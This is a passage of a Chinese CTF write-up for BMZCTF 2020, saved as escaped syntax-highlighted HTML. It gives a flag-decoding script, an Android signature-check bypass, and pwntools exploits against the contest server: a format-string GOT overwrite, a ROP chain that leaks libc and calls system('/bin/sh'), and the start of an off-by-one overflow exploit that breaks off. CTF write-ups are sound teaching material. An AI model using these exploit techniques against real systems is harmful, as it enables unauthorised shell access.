&lt;&#x2F;span&gt;&lt;span&gt;subB&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;subC&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9
&lt;&#x2F;span&gt;&lt;span&gt;p2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9
&lt;&#x2F;span&gt;&lt;span&gt;p3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;9&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    p1[subA[i]]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;out_part1[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xCE2
&lt;&#x2F;span&gt;&lt;span&gt;    p2[subB[i]]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;out_part2[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFFF
&lt;&#x2F;span&gt;&lt;span&gt;    p3[subC[i]]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;out_part3[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4EA
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.join(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;,p1[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;p2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;p3[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# flag{Fe3l_Fear_t0_7he_Revs}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;re3&quot;&gt;re3&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;android&lt;&#x2F;code&gt;逆向，这题并不是让你输入，然后返回结果，而是直接解密输出flag，可以复制一遍代码运行一下。这里还有一种方法，解密逻辑在&lt;code&gt;FlagActivity&lt;&#x2F;code&gt;里，因此直接修改&lt;code&gt;AndroidManifest.xml&lt;&#x2F;code&gt;，把&lt;code&gt;FlagActivity&lt;&#x2F;code&gt;改成启动项，打包安装就行了。虽然在&lt;code&gt;MainActivity&lt;&#x2F;code&gt;里有签名校验，但是不启动他自然也不会检验了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pwn&quot;&gt;Pwn&lt;&#x2F;h1&gt;
&lt;p&gt;注：我使用的&lt;code&gt;LibcSearcher&lt;&#x2F;code&gt;我自己魔改过，其中&lt;code&gt;dumpb&lt;&#x2F;code&gt;函数是我自己添加的，返回的是加上基址后的某函数的地址。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pwn1&quot;&gt;pwn1&lt;&#x2F;h2&gt;
&lt;p&gt;非常明显的格式化字符串漏洞，并且给了后门函数。可以修改GOT表&lt;code&gt;printf&lt;&#x2F;code&gt;函数的地址，改成后门函数就行了（要一次性改好，所以有点慢）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;info&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;47.242.59.61&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10000&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;info&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;process(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;pwn1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot; Wealcome to BMZCTF &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;vuln_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x80486AE
&lt;&#x2F;span&gt;&lt;span&gt;got_printf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x804A014
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(flat(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(vuln_addr)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%14$n&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,got_printf,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# bmzctf{ad048824-0848-4f51-8819-bccd40f83532}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pwn2&quot;&gt;pwn2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;check&lt;&#x2F;code&gt;有非常明显的栈溢出，非常经典的ROP。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;info&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;47.242.59.61&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10001&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;info&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;process(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;pwn2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;Who are you?&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;plt_puts&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x400560
&lt;&#x2F;span&gt;&lt;span&gt;got_puts&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x601018
&lt;&#x2F;span&gt;&lt;span&gt;pop_rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x400833
&lt;&#x2F;span&gt;&lt;span&gt;restart&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4005C0
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p.recv()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 泄露puts地址并重新开始程序
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;56&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    [
&lt;&#x2F;span&gt;&lt;span&gt;        pop_rdi,got_puts,
&lt;&#x2F;span&gt;&lt;span&gt;        plt_puts,
&lt;&#x2F;span&gt;&lt;span&gt;        restart
&lt;&#x2F;span&gt;&lt;span&gt;    ]
&lt;&#x2F;span&gt;&lt;span&gt;},&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;puts_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;].ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(puts_addr))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;puts&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,puts_addr)
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(flat({&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;56&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    [
&lt;&#x2F;span&gt;&lt;span&gt;        pop_rdi,libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;str_bin_sh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;),
&lt;&#x2F;span&gt;&lt;span&gt;        libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    ]
&lt;&#x2F;span&gt;&lt;span&gt;},&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# bmzctf{ec9f5740-b3d4-4b5d-8996-798c5b6366f9}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;pwn3&quot;&gt;pwn3&lt;&#x2F;h2&gt;
&lt;p&gt;这道题的漏洞比较隐蔽，&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;bmzctf-2020-wp&#x2F;.&#x2F;pwn3.png&quot; alt=&quot;pwn3&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以这里存在&lt;code&gt;Off-By-One&lt;&#x2F;code&gt;漏洞，可以通过不断的输入&lt;code&gt;N&lt;&#x2F;code&gt;来向后移动&lt;code&gt;smsg&lt;&#x2F;code&gt;函数里的&lt;code&gt;buf&lt;&#x2F;code&gt;指针，导致栈溢出&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;47.242.59.61&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10002&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;info&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
